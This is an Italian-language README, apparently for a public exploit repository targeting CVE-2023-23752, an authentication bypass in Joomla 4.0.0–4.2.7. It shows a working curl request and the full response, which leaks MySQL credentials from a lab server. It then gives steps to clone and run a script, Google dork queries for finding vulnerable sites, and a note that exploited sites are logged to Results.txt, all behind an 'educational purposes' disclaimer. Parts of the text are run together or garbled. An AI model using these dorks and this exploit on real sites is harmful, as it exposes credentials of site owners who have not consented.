
Exploit per CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Exploit per CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Come discusso, CVE-2023-23752 è un bypass dell'autenticazione che provoca una fuga di informazioni. La maggior parte degli exploit pubblici utilizza il bypass per divulgare la configurazione del sistema, che contiene le credenziali del database MySQL di Joomla! in chiaro. Quanto segue dimostra la fuga:
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
Nella prova del concetto sopra, il server risponde con le credenziali root:labpass1, che sono le credenziali per il nostro account MySQL di test di Joomla!. Ma è importante sapere che il nostro server MySQL di test era vincolato a 127.0.0.1, quindi l'attaccante remoto non può accedere al server, rendendo le credenziali per lo più inutili. Vincolare MySQL a localhost dovrebbe essere la configurazione più comune, il che limita fortemente questa fuga di credenziali.
Questo Exploit e Proof of Concept (PoC) è presentato esclusivamente a scopo educativo e informativo. L'intento alla base della condivisione è di dimostrare potenziali vulnerabilità in un ambiente controllato. L'obiettivo è promuovere la comprensione dei concetti di cybersecurity e incoraggiare la divulgazione responsabile.
Accedendo e utilizzando questo Exploit e PoC, riconosci di essere l'unico responsabile delle tue azioni e accetti di utilizzare queste informazioni in conformità con le leggi e i regolamenti applicabili. L'autore non si assume alcuna responsabilità per qualsiasi uso improprio o conseguenze derivanti dall'uso di questo PoC per scopi diversi dall'educazione e dalla divulgazione responsabile.
requests, colorama , urllib3 , fake_useragent , aio-httpClona il repository:
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
Installa i pacchetti Python richiesti:
pip install -r requirements.txt
.txt.inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" /api/index.php/v1/config/application?public=true , filetype:php inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"Esegui lo script:
python joomla.py
Lascia che lo script esegua il suo corso e segui le istruzioni.
Ogni sito che è stato sfruttato verrà salvato in Results.txt.
I contributi sono benvenuti! Se trovi problemi o hai miglioramenti, sentiti libero di aprire una pull request o creare un issue.
Questo progetto è concesso in licenza con Licenza MIT.